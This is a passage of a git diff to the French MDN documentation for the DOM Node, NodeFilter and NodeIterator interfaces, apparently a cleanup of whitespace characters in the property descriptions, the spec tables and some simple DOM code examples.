type du nœud. Les valeurs possibles sont : @@ -62,13 +62,13 @@ _Hérite les propriétés de son parent {{domxref("EventTarget")}}_. - {{DOMxRef("Node.nodeValue")}} - : Retourne / définit la valeur du nœud courant. - {{DOMxRef("Node.ownerDocument")}}{{readonlyInline}} - - : Retourne le {{domxref("Document")}} auquel ce noeud appartient. Si aucun document ne lui est associé, il retourne `null` . + - : Retourne le {{domxref("Document")}} auquel ce noeud appartient. Si aucun document ne lui est associé, il retourne `null` . - {{DOMxRef("Node.parentNode")}}{{readonlyInline}} - : Retourne un {{domxref("Node")}} qui est le parent de ce nœud. S'il n'existe pas, parce qu'il est en haut de l'arbre ou parce qu'il ne participe pas à un arbre, cette propriété retourne `null` . - {{DOMxRef("Node.parentElement")}}{{readonlyInline}} - - : Retourne un {{domxref("Element")}} qui est le parent de ce nœud. Si le nœud n'a aucun parent ou si ce parent n'est pas un {{domxref("Element")}} , cette propriété retourne `null`. + - : Retourne un {{domxref("Element")}} qui est le parent de ce nœud. Si le nœud n'a aucun parent ou si ce parent n'est pas un {{domxref("Element")}} , cette propriété retourne `null`. - {{DOMxRef("Node.previousSibling")}}{{readonlyInline}} - - : Retourne un {{domxref("Node")}} représentant le nœud précédent dans l'arbre ou `null` s'il n'y en a pas. + - : Retourne un {{domxref("Node")}} représentant le nœud précédent dans l'arbre ou `null` s'il n'y en a pas. - {{DOMxRef("Node.textContent")}} - : Retourne / définit le contenu textuel d'un élément et de tous ses descendants. @@ -77,20 +77,20 @@ _Hérite les propriétés de son parent {{domxref("EventTarget")}}_. ### Propriétés obsolètes - {{DOMxRef("Node.localName")}} {{obsolete_inline}}{{readonlyInline}} - - : Retourne un {{domxref("DOMString")}} représentant la partie locale du nom d'un élément. + - : Retourne un {{domxref("DOMString")}} représentant la partie locale du nom d'un élément. > **Note :** Dans Firefox 3.5 et versions antérieures, la propriété saisit le nom local pour les éléments HTML (mais pas les éléments XHTML). Dans les versions ultérieures, cela ne se produit pas, donc la propriété est en minuscule pour HTML et XHTML. {{gecko_minversion_inline("1.9.2")}} - {{DOMxRef("Node.namespaceURI")}} {{obsolete_inline}}{{readonlyInline}} - - : L'URI du "Namespace" de ce nom, ou `null` s'il n'y en a pas. + - : L'URI du "Namespace" de ce nom, ou `null` s'il n'y en a pas. -> **Note :** Dans Firefox 3.5 et versions antérieures, les éléments HTML ne contiennent aucun "namespace". Dans les versions ultérieures, les éléments HTML sont dans le "namespace" [`https://www.w3.org/1999/xhtml/`](https://www.w3.org/1999/xhtml/) pour HTML et XML. {{gecko_minversion_inline("1.9.2")}} +> **Note :** Dans Firefox 3.5 et versions antérieures, les éléments HTML ne contiennent aucun "namespace". Dans les versions ultérieures, les éléments HTML sont dans le "namespace" [`https://www.w3.org/1999/xhtml/`](https://www.w3.org/1999/xhtml/) pour HTML et XML. {{gecko_minversion_inline("1.9.2")}} - {{DOMxRef("Node.prefix")}} {{obsolete_inline}}{{readonlyInline}} - - : Est une {{domxref("DOMString")}} représentant le préfixe de l'espace de nom du nœud ou `null` si aucun préfixe n'est spécifié. -- {{DOMxRef("Node.nodePrincipal")}} {{Non-standard_inline}}{{Obsolete_Inline("gecko46")}} + - : Est une {{domxref("DOMString")}} représentant le préfixe de l'espace de nom du nœud ou `null` si aucun préfixe n'est spécifié. +- {{DOMxRef("Node.nodePrincipal")}} {{Non-standard_inline}}{{Obsolete_Inline("gecko46")}} - : Un {{Interface("nsIPrincipal")}} représentant le nœud principal. -- {{DOMxRef("Node.rootNode")}} {{Obsolete_Inline}}{{ReadOnlyInline}} +- {{DOMxRef("Node.rootNode")}} {{Obsolete_Inline}}{{ReadOnlyInline}} - : Retourne un objet {{DOMxRef("Node")}} représentant le noeud le plus haut dans l'arbre ou le noeud en cours s'il est le noeud le plus haut de l'arbre. Cette propriété a été remplacée par {{DOMxRef("Node.getRootNode()")}}. ## Méthodes @@ -127,7 +127,7 @@ _Hérite des méthodes de son parent {{domxref("EventTarget")}}_. - {{DOMxRef("Node.normalize()")}} - : Nettoye tous les nœuds de texte en-dessous de cet élément (fusionne adjacent, supprime vide). - {{DOMxRef("Node.removeChild()")}} - - : Supprime un nœud enfant, depuis l'élément courant, qui doit être un enfant de ce nœud. + - : Supprime un nœud enfant, depuis l'élément courant, qui doit être un enfant de ce nœud. - {{DOMxRef("Node.replaceChild()")}} - : Remplace un {{domxref("Node")}} enfant du nœud courant par celui donné dans le paramètre. @@ -142,7 +142,7 @@ _Hérite des méthodes de son parent {{domxref("EventTarget")}}_. - {{domxref("Node.isSupported()")}} {{obsolete_inline}} - : Retourne une marque {{jsxref("Boolean")}} qui contient le résultat d'un test si l'implémentation DOM prend en compte une caractéristique spécifique et si cette fonctionnalité est prise en charge par le nœud spécifique. - {{domxref("Node.setUserData()")}} {{obsolete_inline}} - - : Permet à un utilisateur d'attacher ou d'enlever {{domxref("DOMUserData")}} du nœud. + - : Permet à un utilisateur d'attacher ou d'enlever {{domxref("DOMUserData")}} du nœud. ## Exemples @@ -211,8 +211,8 @@ document.body.removeAll(); | Spécification | Statut | Commentaire | | ---------------------------------------------------------------------------------------- | -------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | {{SpecName('DOM WHATWG', '#interface-node', 'Node')}} | {{Spec2('DOM WHATWG')}} | Supprime les propriétés suivantes : `attributes`, `namespaceURI`, `prefix`, et `localName`. Supprime les méthodes suivantes : `isSupported()`, `hasAttributes()`, `getFeature()`, `setUserData()`, et `getUserData()`. | -| {{SpecName('DOM3 Core', 'core.html#ID-1950641247', 'Node')}} | {{Spec2('DOM3 Core')}} | Les méthodes `insertBefore()`, `replaceChild()`, `removeChild()`, et`appendChild()` renvoient un autre type d'erreur (`NOT_SUPPORTED_ERR`) si elles sont appelées par {{domxref("Document")}}. La méthode `normalize()` a été modifiée, ainsi ce mode {{domxref("Text")}} peut aussi être normalisé si la marque {{domxref("DOMConfiguration")}} est définie. Ajout des méthodes suivantes : `compareDocumentPosition()`, `isSameNode()`, `lookupPrefix()`, `isDefaultNamespace()`, `lookupNamespaceURI()`, `isEqualNode()`, `getFeature()`, `setUserData()`, et `getUserData().` Ajout des propriétés suivantes : `baseURI` et `textContent`. | -| {{SpecName('DOM2 Core', 'core.html#ID-1950641247', 'Node')}} | {{Spec2('DOM2 Core')}} | La propriété `ownerDocument`a été légèrement modifiée pour que {{domxref("DocumentFragment")}} renvoie également `null`. Ajout des propriétés suivantes : `namespaceURI`, `prefix`, et `localName`. Ajout des méthodes suivantes : `normalize()`, `isSupported()` et `hasAttributes()`. | +| {{SpecName('DOM3 Core', 'core.html#ID-1950641247', 'Node')}} | {{Spec2('DOM3 Core')}} | Les méthodes `insertBefore()`, `replaceChild()`, `removeChild()`, et`appendChild()` renvoient un autre type d'erreur (`NOT_SUPPORTED_ERR`) si elles sont appelées par {{domxref("Document")}}. La méthode `normalize()` a été modifiée, ainsi ce mode {{domxref("Text")}} peut aussi être normalisé si la marque {{domxref("DOMConfiguration")}} est définie. Ajout des méthodes suivantes : `compareDocumentPosition()`, `isSameNode()`, `lookupPrefix()`, `isDefaultNamespace()`, `lookupNamespaceURI()`, `isEqualNode()`, `getFeature()`, `setUserData()`, et `getUserData().` Ajout des propriétés suivantes : `baseURI` et `textContent`. | +| {{SpecName('DOM2 Core', 'core.html#ID-1950641247', 'Node')}} | {{Spec2('DOM2 Core')}} | La propriété `ownerDocument`a été légèrement modifiée pour que {{domxref("DocumentFragment")}} renvoie également `null`. Ajout des propriétés suivantes : `namespaceURI`, `prefix`, et `localName`. Ajout des méthodes suivantes : `normalize()`, `isSupported()` et `hasAttributes()`. | | {{SpecName('DOM1', 'level-one-core.html#ID-1950641247', 'Node')}} | {{Spec2('DOM1')}} | Définition initiale | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/node/insertbefore/index.md b/files/fr/web/api/node/insertbefore/index.md index a04b17248d..129022a2dd 100644 --- a/files/fr/web/api/node/insertbefore/index.md +++ b/files/fr/web/api/node/insertbefore/index.md @@ -93,7 +93,7 @@ parentDiv.insertBefore(sp1, sp2) Il n'existe pas de méthode `insertAfter()`. Il peut être émulé avec une combinaison des méthodes `insertBefore()` et [`Node.nextSibling`](/fr/docs/Web/API/Node/nextSibling). -Dans l'exemple ci-dessus, `sp1` pourrait être inséré après `sp2` en utilisant : +Dans l'exemple ci-dessus, `sp1` pourrait être inséré après `sp2` en utilisant : ```js parentDiv.insertBefore(sp1, sp2.nextSibling); diff --git a/files/fr/web/api/node/isconnected/index.md b/files/fr/web/api/node/isconnected/index.md index 3ffaaa50de..0f5c8ca2ad 100644 --- a/files/fr/web/api/node/isconnected/index.md +++ b/files/fr/web/api/node/isconnected/index.md @@ -10,7 +10,7 @@ translation_of: Web/API/Node/isConnected --- {{APIRef("DOM")}} -La propriété en lecture seule **`isConnected`** de l'interface {{domxref("Node")}} renvoie un booléen indiquant si le noeud est connecté (directement ou indirectement) à l'objet contexte, par exemple l'objet {{domxref("Document")}} dans le cas d'un DOM normal ou l'objet {{domxref("ShadowRoot")}} dans le cas du DOM shadow. +La propriété en lecture seule **`isConnected`** de l'interface {{domxref("Node")}} renvoie un booléen indiquant si le noeud est connecté (directement ou indirectement) à l'objet contexte, par exemple l'objet {{domxref("Document")}} dans le cas d'un DOM normal ou l'objet {{domxref("ShadowRoot")}} dans le cas du DOM shadow. ## Syntaxe diff --git a/files/fr/web/api/node/isdefaultnamespace/index.md b/files/fr/web/api/node/isdefaultnamespace/index.md index 4e1fe3058e..14699719d2 100644 --- a/files/fr/web/api/node/isdefaultnamespace/index.md +++ b/files/fr/web/api/node/isdefaultnamespace/index.md @@ -31,4 +31,4 @@ alert(el.isDefaultNamespace(XULNS)); // true ## Spécification - [DOM Level 3 Core: isDefaultNamespace](http://www.w3.org/TR/DOM-Level-3-Core/core.html#Node3-isDefaultNamespace) -- [Code snippets: isDefaultNamespace](/en-US/docs/Code_snippets/IsDefaultNamespace) +- [Code snippets: isDefaultNamespace](/en-US/docs/Code_snippets/IsDefaultNamespace) diff --git a/files/fr/web/api/node/isequalnode/index.md b/files/fr/web/api/node/isequalnode/index.md index 3afb00dfe7..fd4a5b792c 100644 --- a/files/fr/web/api/node/isequalnode/index.md +++ b/files/fr/web/api/node/isequalnode/index.md @@ -5,7 +5,7 @@ translation_of: Web/API/Node/isEqualNode --- {{APIRef("DOM")}} -La méthode **`Node.isEqualNode()`** permet de tester l'égalité entre deux éléments du DOM. Deux noeuds sont équivalents s'ils ont le même type, les mêmes caractéristiques de définition (ID, nombre d'enfants et autres), des attributs qui correspondent etc. L'ensemble spécifique de points des données qui doit correspondre varie en fonction des types de nœuds. +La méthode **`Node.isEqualNode()`** permet de tester l'égalité entre deux éléments du DOM. Deux noeuds sont équivalents s'ils ont le même type, les mêmes caractéristiques de définition (ID, nombre d'enfants et autres), des attributs qui correspondent etc. L'ensemble spécifique de points des données qui doit correspondre varie en fonction des types de nœuds. ## Syntaxe @@ -59,7 +59,7 @@ output.innerHTML += "div 0 equals div 2: " + divList[0].isEqualNode(divList[2]) | Spécification | Statut | Commentaire | | ------------------------------------------------------------------------------------------------ | -------------------------------- | ----------- | -| {{SpecName('DOM WHATWG', '#dom-node-isequalnode', 'Node.isEqualNode')}} | {{Spec2('DOM WHATWG')}} | | +| {{SpecName('DOM WHATWG', '#dom-node-isequalnode', 'Node.isEqualNode')}} | {{Spec2('DOM WHATWG')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/node/issamenode/index.md b/files/fr/web/api/node/issamenode/index.md index 5b57ac5cbb..662e808cd2 100644 --- a/files/fr/web/api/node/issamenode/index.md +++ b/files/fr/web/api/node/issamenode/index.md @@ -31,12 +31,12 @@ Dans cet exemple, nous créons 3 blocs {{HTMLElement("div")}}. Le premier et le ```css hidden #output { - width: 440px; - border: 2px solid black; - border-radius: 5px; - padding: 10px; - margin-top: 20px; - display: block; + width: 440px; + border: 2px solid black; + border-radius: 5px; + padding: 10px; + margin-top: 20px; + display: block; } ``` diff --git a/files/fr/web/api/node/issupported/index.md b/files/fr/web/api/node/issupported/index.md index d59dab5a7b..e6af404bab 100644 --- a/files/fr/web/api/node/issupported/index.md +++ b/files/fr/web/api/node/issupported/index.md @@ -10,7 +10,7 @@ translation_of: Web/API/Node/isSupported --- {{APIRef("DOM")}}{{obsolete_header}} -La méthode **`Node.isSupported()`** renvoie une marque {{domxref("Boolean","booléenne")}} contenant le résultat du test par lequel est vérifié si une implémentation DOM prend en charge une fonctionnalité spécifique et si celle-ci est supportée par un noeud spécifique. +La méthode **`Node.isSupported()`** renvoie une marque {{domxref("Boolean","booléenne")}} contenant le résultat du test par lequel est vérifié si une implémentation DOM prend en charge une fonctionnalité spécifique et si celle-ci est supportée par un noeud spécifique. ### Syntaxe @@ -19,9 +19,9 @@ La méthode **`Node.isSupported()`** renvoie une marque {{domxref("Boolean","b ### Paramètres - `feature` - - : est une {{domxref("DOMString")}} (_chaîne de caractères_) contenant le nom de la fonctionnalité à tester. C'est le même nom qui peut être passé à la méthode `hasFeature` de [DOMImplementation](/fr/docs/Web/API/Document/implementation). Les valeurs possibles définies dans la spécification DOM core sont listées dans la section [Conformance](http://www.w3.org/TR/DOM-Level-2-Core/introduction.html#ID-Conformance) de DOM Level 2. + - : est une {{domxref("DOMString")}} (_chaîne de caractères_) contenant le nom de la fonctionnalité à tester. C'est le même nom qui peut être passé à la méthode `hasFeature` de [DOMImplementation](/fr/docs/Web/API/Document/implementation). Les valeurs possibles définies dans la spécification DOM core sont listées dans la section [Conformance](http://www.w3.org/TR/DOM-Level-2-Core/introduction.html#ID-Conformance) de DOM Level 2. - `version` - - : est une {{domxref("DOMString")}} (_chaîne de caractères_) contenant le numéro de version de la fonctionnalité à tester. En DOM Level 2, première version, il s'agit de la chaîne « `2.0` ». Si la version n'est pas spécifiée, la gestion de n'importe quelle version de la fonctionnalité suffira pour que soit renvoyée la valeur `true`. + - : est une {{domxref("DOMString")}} (_chaîne de caractères_) contenant le numéro de version de la fonctionnalité à tester. En DOM Level 2, première version, il s'agit de la chaîne « `2.0` ». Si la version n'est pas spécifiée, la gestion de n'importe quelle version de la fonctionnalité suffira pour que soit renvoyée la valeur `true`. ## Exemple diff --git a/files/fr/web/api/node/nextsibling/index.md b/files/fr/web/api/node/nextsibling/index.md index 19e0ddb762..85f26ed2f7 100644 --- a/files/fr/web/api/node/nextsibling/index.md +++ b/files/fr/web/api/node/nextsibling/index.md @@ -10,7 +10,7 @@ translation_of: Web/API/Node/nextSibling --- {{APIRef("DOM")}} -La propriété en lecture seule **`Node.nextSibling`** renvoie le nœud (`node`) suivant immédiatement le nœud spécifié dans la liste des enfants ( {{domxref("Node.childNodes","childNodes")}}) de son nœud parent, ou `null` si le nœud spécifié est le dernier dans cette liste. +La propriété en lecture seule **`Node.nextSibling`** renvoie le nœud (`node`) suivant immédiatement le nœud spécifié dans la liste des enfants ( {{domxref("Node.childNodes","childNodes")}}) de son nœud parent, ou `null` si le nœud spécifié est le dernier dans cette liste. ## Syntaxe diff --git a/files/fr/web/api/node/nodename/index.md b/files/fr/web/api/node/nodename/index.md index ef15c51fc1..adb89ad540 100644 --- a/files/fr/web/api/node/nodename/index.md +++ b/files/fr/web/api/node/nodename/index.md @@ -36,18 +36,18 @@ Les valeurs retournées pour les différents types de noeuds sont : ## Exemple -Avec le balisage suivant : +Avec le balisage suivant : <div id="d1">hello world</div> <input type="text" id="t"/> -et le script suivant : +et le script suivant : var div1 = document.getElementById("d1"); var text_field = document.getElementById("t"); text_field.value = div1.nodeName; -En XHTML (ou tout autre format XML), la valeur de `text_field` sera « div ». Cependant, en HTML, la valeur de `text_field` sera « DIV », parce que `nodeName` et `tagName` renvoient en casse majuscule sur les éléments HTML dans les DOM marqués comme des documents HTML. En lire plus [détails sur la sensibilité à la casse de nodeName dans différents navigateurs](http://ejohn.org/blog/nodename-case-sensitivity/) (en). +En XHTML (ou tout autre format XML), la valeur de `text_field` sera « div ». Cependant, en HTML, la valeur de `text_field` sera « DIV », parce que `nodeName` et `tagName` renvoient en casse majuscule sur les éléments HTML dans les DOM marqués comme des documents HTML. En lire plus [détails sur la sensibilité à la casse de nodeName dans différents navigateurs](http://ejohn.org/blog/nodename-case-sensitivity/) (en). Notez que la propriété [`tagName`](fr/DOM/element.tagName) aurait pu être uilisée à la place, puisque `nodeName` a la même valeur que `tagName` pour un élément. Souvenez vous cependant que `nodeName` renverra `#text` pour les nœuds texte tandis que `tagName` renverra `undefined`. diff --git a/files/fr/web/api/node/nodetype/index.md b/files/fr/web/api/node/nodetype/index.md index 082ae1bd03..f1f530769a 100644 --- a/files/fr/web/api/node/nodetype/index.md +++ b/files/fr/web/api/node/nodetype/index.md @@ -27,7 +27,7 @@ Renvoie un entier (_integer_) qui spécifie le type du noeud ; les valeurs possi | Constante | Valeur | Description | | ---------------------------------- | ------ | ------------------------------------------------------------------------------------------------------------------------ | -| `Node.ELEMENT_NODE` | `1` | Un noeud {{domxref("Element")}} tel que {{HTMLElement("p")}} ou {{HTMLElement("div")}}`.` | +| `Node.ELEMENT_NODE` | `1` | Un noeud {{domxref("Element")}} tel que {{HTMLElement("p")}} ou {{HTMLElement("div")}}`.` | | `Node.TEXT_NODE` | `3` | Le {{domxref("Text")}} actuel de l'{{domxref("Element")}} ou {{domxref("Attr")}}. | | `Node.PROCESSING_INSTRUCTION_NODE` | `7` | Une {{domxref("ProcessingInstruction")}} d'un document XML tel que la déclaration `<?xml-stylesheet ... ?>`. | | `Node.COMMENT_NODE` | `8` | Un noeud {{domxref("Comment")}}. | diff --git a/files/fr/web/api/node/nodevalue/index.md b/files/fr/web/api/node/nodevalue/index.md index 294ed8619a..123f49d6d7 100644 --- a/files/fr/web/api/node/nodevalue/index.md +++ b/files/fr/web/api/node/nodevalue/index.md @@ -22,7 +22,7 @@ La propriété **`Node.nodeValue`** renvoie ou définit la valeur du nœud coura Pour le document lui-même, `nodeValue` renvoie `null`. Pour des nœuds texte, de commentaires et CDATA, `nodeValue` renvoie le contenu du nœud. Pour les nœuds d'attributs, il s'agira de la valeur de l'attribut. -Le tableau suivant montre les valeurs de retour pour différents types de nœuds : +Le tableau suivant montre les valeurs de retour pour différents types de nœuds : <table> <tbody> diff --git a/files/fr/web/api/node/normalize/index.md b/files/fr/web/api/node/normalize/index.md index 4864a1278a..9c2bc0a57d 100644 --- a/files/fr/web/api/node/normalize/index.md +++ b/files/fr/web/api/node/normalize/index.md @@ -7,7 +7,7 @@ translation_of: Web/API/Node/normalize ## Résumé -Place le nœud spécifié et tout son sous-arbre dans une forme « normale ». Dans un sous-arbre normalisé, aucun nœud texte n'est vide et il n'y a pas de nœuds texte adjacents. +Place le nœud spécifié et tout son sous-arbre dans une forme « normale ». Dans un sous-arbre normalisé, aucun nœud texte n'est vide et il n'y a pas de nœuds texte adjacents. ## Syntaxe diff --git a/files/fr/web/api/node/ownerdocument/index.md b/files/fr/web/api/node/ownerdocument/index.md index 83c9698497..19343692c8 100644 --- a/files/fr/web/api/node/ownerdocument/index.md +++ b/files/fr/web/api/node/ownerdocument/index.md @@ -36,7 +36,7 @@ L'objet `document` renvoyé par cette propriété est l'objet principal avec leq | Spécification | Statut | Commentaire | | ---------------------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | -| {{SpecName("DOM4", "#dom-node-ownerdocument", "Node.ownerDocument")}} | {{Spec2("DOM4")}} | | +| {{SpecName("DOM4", "#dom-node-ownerdocument", "Node.ownerDocument")}} | {{Spec2("DOM4")}} | | | {{SpecName("DOM3 Core", "core.html#node-ownerDoc", "Node.ownerDocument")}} | {{Spec2("DOM3 Core")}} | Pas de changement | | {{SpecName("DOM2 Core", "core.html#node-ownerDoc", "Node.ownerDocument")}} | {{Spec2("DOM2 Core")}} | Définition initiale. | diff --git a/files/fr/web/api/node/parentelement/index.md b/files/fr/web/api/node/parentelement/index.md index 66d50067d3..b8c25760ae 100644 --- a/files/fr/web/api/node/parentelement/index.md +++ b/files/fr/web/api/node/parentelement/index.md @@ -9,7 +9,7 @@ tags: - parent translation_of: Web/API/Node/parentElement --- -{{APIRef("DOM")}}La propriété en lecture seule **`Node.parentElement`** renvoie le parent du noeud DOM ({{domxref("Element")}}) ou **`null`** si ce dernier n'a pas de parent ou si le parent n'est pas un {{domxref("Element")}} du DOM. +{{APIRef("DOM")}}La propriété en lecture seule **`Node.parentElement`** renvoie le parent du noeud DOM ({{domxref("Element")}}) ou **`null`** si ce dernier n'a pas de parent ou si le parent n'est pas un {{domxref("Element")}} du DOM. ## Syntaxe diff --git a/files/fr/web/api/node/parentnode/index.md b/files/fr/web/api/node/parentnode/index.md index d4de4fde06..84a79eaf56 100644 --- a/files/fr/web/api/node/parentnode/index.md +++ b/files/fr/web/api/node/parentnode/index.md @@ -17,13 +17,13 @@ La propriété en lecture seule **parentNode** renvoie le parent du nœud spéci parentNode = node.parentNode -`parentNode` est l'élément parent du nœud courant. Le parent d'un élément est un nœud `Element`, un nœud `Document` ou un nœud `DocumentFragment`. +`parentNode` est l'élément parent du nœud courant. Le parent d'un élément est un nœud `Element`, un nœud `Document` ou un nœud `DocumentFragment`. ## Exemple ```js if (node.parentNode) { - // supprime un noeud de l'arbre, + // supprime un noeud de l'arbre, // sauf s'il a déjà été supprimé node.parentNode.removeChild(node); } diff --git a/files/fr/web/api/node/previoussibling/index.md b/files/fr/web/api/node/previoussibling/index.md index 4b1e499e59..f5fe908369 100644 --- a/files/fr/web/api/node/previoussibling/index.md +++ b/files/fr/web/api/node/previoussibling/index.md @@ -10,7 +10,7 @@ translation_of: Web/API/Node/previousSibling --- {{APIRef("DOM")}} -La propriété en lecture seule **`Node.previousSibling`** renvoie le nœud (`node`) précédant immédiatement le nœud courant dans la liste {{domxref("Node.childNodes", "childNodes")}} de son parent, ou `null` s'il s'agit du premier nœud de la liste. +La propriété en lecture seule **`Node.previousSibling`** renvoie le nœud (`node`) précédant immédiatement le nœud courant dans la liste {{domxref("Node.childNodes", "childNodes")}} de son parent, ou `null` s'il s'agit du premier nœud de la liste. ## Syntaxe diff --git a/files/fr/web/api/node/removechild/index.md b/files/fr/web/api/node/removechild/index.md index d5835511c4..0fb6db41af 100644 --- a/files/fr/web/api/node/removechild/index.md +++ b/files/fr/web/api/node/removechild/index.md @@ -12,7 +12,7 @@ translation_of: Web/API/Node/removeChild --- {{ ApiRef("DOM") }} -La méthode **`Node.removeChild()`** retire un nœud enfant de l'arbre DOM et retourne le nœud retiré. +La méthode **`Node.removeChild()`** retire un nœud enfant de l'arbre DOM et retourne le nœud retiré. ## Syntaxe @@ -24,15 +24,15 @@ La méthode **`Node.removeChild()`** retire un nœud enfant de l'arbre DOM et r - `node` est le nœud parent de `child`. - `oldchild` conserve une référence au nœud enfant retiré. `oldchild` === `child`. -Le nœud enfant retiré existe toujours en mémoire, mais ne fait plus partie du DOM. Avec la première syntaxe, il est possible de réutiliser ultérieurement dans le code le nœud retiré, à l'aide de la référence à l'objet `ancienEnfant`_._ +Le nœud enfant retiré existe toujours en mémoire, mais ne fait plus partie du DOM. Avec la première syntaxe, il est possible de réutiliser ultérieurement dans le code le nœud retiré, à l'aide de la référence à l'objet `ancienEnfant`_._ -Avec la seconde forme montrée en exemple, aucune référence à l'objet `ancienEnfant` n'est conservée ; ainsi, en supposant que votre code n'a conservé nulle part ailleurs cette référence à ce nœud, il devient immédiatement inutilisable et irrécupérable, et sera en général [automatiquement supprimé](/fr/docs/Web/JavaScript/Gestion_de_la_m%C3%A9moire) de la mémoire après un court moment. +Avec la seconde forme montrée en exemple, aucune référence à l'objet `ancienEnfant` n'est conservée ; ainsi, en supposant que votre code n'a conservé nulle part ailleurs cette référence à ce nœud, il devient immédiatement inutilisable et irrécupérable, et sera en général [automatiquement supprimé](/fr/docs/Web/JavaScript/Gestion_de_la_m%C3%A9moire) de la mémoire après un court moment. Si `child` n'est pas un enfant du nœud `element`, la méthode provoque une exception. Une exception sera aussi lancée dans le cas où le nœud `child` est bien un enfant du nœud `element` au moment de l'appel à la méthode, mais qu'il a été retiré par un gestionnaire d'évènement invoqué dans la cadre d'une tentative de suppression du nœud `element` (comme `blur`). -La méthode peut lever une exception de deux façons : +La méthode peut lever une exception de deux façons : -1. Si `enfant` était bien un enfant de element et qu'il existe donc dans le DOM, mais qu'il a déjà été retiré, la méthode provoque l'exception suivante :`` +1. Si `enfant` était bien un enfant de element et qu'il existe donc dans le DOM, mais qu'il a déjà été retiré, la méthode provoque l'exception suivante :`` `Uncaught NotFoundError: Failed to execute 'removeChild' on 'element': The node to be removed is not a child of this node`. 2. si l'`enfant` n'existe pas dans le DOM de la page, la méthode provoque l'exception suivante : `Uncaught TypeError: Failed to execute 'removeChild' on 'element': parameter 1 is not of type 'Node'.` diff --git a/files/fr/web/api/node/textcontent/index.md b/files/fr/web/api/node/textcontent/index.md index 0b195eaa7a..d521450f1f 100644 --- a/files/fr/web/api/node/textcontent/index.md +++ b/files/fr/web/api/node/textcontent/index.md @@ -10,7 +10,7 @@ translation_of: Web/API/Node/textContent --- {{APIRef("DOM")}} -La propriété **`Node.textContent`** représente le contenu textuel d'un nœud et de ses descendants. +La propriété **`Node.textContent`** représente le contenu textuel d'un nœud et de ses descendants. ## Syntaxe @@ -39,14 +39,14 @@ Internet Explorer a introduit une propriété {{domxref("node.innerText")}}. L'i ## Exemple - // Étant donné le fragment de HTML suivant : + // Étant donné le fragment de HTML suivant : // <div id="divA">Ceci est un <span>exemple de</span> texte</div> - // On obtient le contenu textuel : + // On obtient le contenu textuel : var text = document.getElementById("divA").textContent; // |text| vaut "Ceci est un exemple de texte". - // On définit le contenu textuel : + // On définit le contenu textuel : document.getElementById("divA").textContent = "Ceci est un exemple de texte"; // Le HTML pour divA est à présent <div id="divA">Ceci est un exemple de texte</div> @@ -85,7 +85,7 @@ if (Object.defineProperty | Spécification | Statut | Commentaire | | ---------------------------------------------------------------------------------------------------- | -------------------------------- | ------------------------- | | {{SpecName('DOM WHATWG','#dom-node-textcontent','Node.textContent')}} | {{Spec2('DOM WHATWG')}} | Pas de changement de DOM4 | -| {{SpecName('DOM4','#dom-node-textcontent','Node.textContent')}} | {{Spec2('DOM4')}} | | +| {{SpecName('DOM4','#dom-node-textcontent','Node.textContent')}} | {{Spec2('DOM4')}} | | | {{SpecName('DOM3 Core','core.html#Node3-textContent','Node.textContent')}} | {{Spec2('DOM3 Core')}} | Définition initiale. | ## Voir aussi diff --git a/files/fr/web/api/nodefilter/index.md b/files/fr/web/api/nodefilter/index.md index c6eb155b62..625317986f 100644 --- a/files/fr/web/api/nodefilter/index.md +++ b/files/fr/web/api/nodefilter/index.md @@ -104,7 +104,7 @@ while ((node = nodeIterator.nextNode())) { | Spécification | Statut | Commentaire | | ------------------------------------------------------------------------------------------------------------------------ | -------------------------------------------- | -------------------- | -| {{SpecName('DOM WHATWG', '#interface-nodefilter', 'NodeFilter')}} | {{Spec2('DOM WHATWG')}} | | +| {{SpecName('DOM WHATWG', '#interface-nodefilter', 'NodeFilter')}} | {{Spec2('DOM WHATWG')}} | | | {{SpecName('DOM2 Traversal_Range', 'traversal.html#Traversal-NodeFilter', 'NodeFilter')}} | {{Spec2('DOM2 Traversal_Range')}} | Définition initiale. | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/nodeiterator/expandentityreferences/index.md b/files/fr/web/api/nodeiterator/expandentityreferences/index.md index 974f253391..869a01615f 100644 --- a/files/fr/web/api/nodeiterator/expandentityreferences/index.md +++ b/files/fr/web/api/nodeiterator/expandentityreferences/index.md @@ -14,7 +14,7 @@ translation_of: Web/API/NodeIterator/expandEntityReferences La propriété en lecture seule **`NodeIterator.expandEntityReferences`** renvoie un {{domxref("Boolean")}} (_booléen_) indiquant si les enfants des noeuds de référence d'entité sont visibles ou non pour le {{domxref("NodeIterator")}}. -Si cette valeur est `false` (_faux_), les enfants des nœuds de référence d'entité (ainsi que tous leurs descendants) sont rejetés. Cela a préséance sur la valeur de la méthode {{domxref("NodeIterator.whatToShow")}} et le filtre associé. +Si cette valeur est `false` (_faux_), les enfants des nœuds de référence d'entité (ainsi que tous leurs descendants) sont rejetés. Cela a préséance sur la valeur de la méthode {{domxref("NodeIterator.whatToShow")}} et le filtre associé. ## Syntaxe diff --git a/files/fr/web/api/nodeiterator/index.md b/files/fr/web/api/nodeiterator/index.md index e38aed5afe..b45b920adc 100644 --- a/files/fr/web/api/nodeiterator/index.md +++ b/files/fr/web/api/nodeiterator/index.md @@ -154,7 +154,7 @@ _Cette interface n'hérite d'aucune méthode._ - {{domxref("NodeIterator.previousNode()")}} - : Renvoie le noeud {{domxref("Node")}} précédent dans le document ou `null` s'il n'y en a aucun. - {{domxref("NodeIterator.nextNode()")}} - - : Renvoie le noeud {{domxref("Node")}} suivant dans le document ou `null` s'il n'y en a aucun. + - : Renvoie le noeud {{domxref("Node")}} suivant dans le document ou `null` s'il n'y en a aucun. ## Spécifications diff --git a/files/fr/web/api/nodeiterator/nextnode/index.md b/files/fr/web/api/nodeiterator/nextnode/index.md index ff4676c9fb..8fbbc190c6 100644 --- a/files/fr/web/api/nodeiterator/nextnode/index.md +++ b/files/fr/web/api/nodeiterator/nextnode/index.md @@ -12,11 +12,11 @@ translation_of: Web/API/NodeIterator/nextNode --- {{APIRef("DOM")}} -La méthode **`NodeIterator.nextNode()`** renvoie le noeud suivant dans l'ensemble représenté par le {{domxref("NodeIterator")}} et avance la position de l'itérateur dans cet ensemble. Le premier appel de `nextNode()` en renvoie le premier noeud. +La méthode **`NodeIterator.nextNode()`** renvoie le noeud suivant dans 